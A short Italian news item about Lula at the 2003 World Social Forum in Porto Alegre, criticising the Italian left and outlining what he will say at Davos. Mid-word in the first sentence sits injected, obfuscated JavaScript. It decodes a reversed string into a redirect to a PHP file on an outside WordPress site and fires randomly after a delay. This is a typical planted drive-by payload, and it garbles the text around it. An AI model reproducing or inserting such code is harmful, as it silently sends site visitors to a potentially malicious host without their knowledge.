WSF Porto Alegre 2003 – LULA, LA SINISTRA ITALIANA E IL VIAGGIO A DAVOS

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Il presidente brasiliano Lula, parl (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando con i rappresentanti del World Social Forum, attacca la sinistra italiana senza mezzi termini: ‘Ho sempre pensato che l’educazione fosse necessaria e sufficiente per ottenere governi popolari e di sinistra con al centro la giustizia. Ora dico che questo non basta piu’. Pensate all’Italia, ha un’altissima scolarizzazione, tantissime persone iscritte all’universita’ e si trova un governo di destra e un primo ministro come Berlusconi. Questo non e’ dovuto alla forza della destra, ma agli errori della sinistra’. Sulla sua presenza a Davos ha aggiunto: ‘contestero’ questo sistema economico a nome dei poveri della terra. Diro’ che sono contro la fame, per la sanita’ pubblica, contro il debito estero e contro la guerra’.

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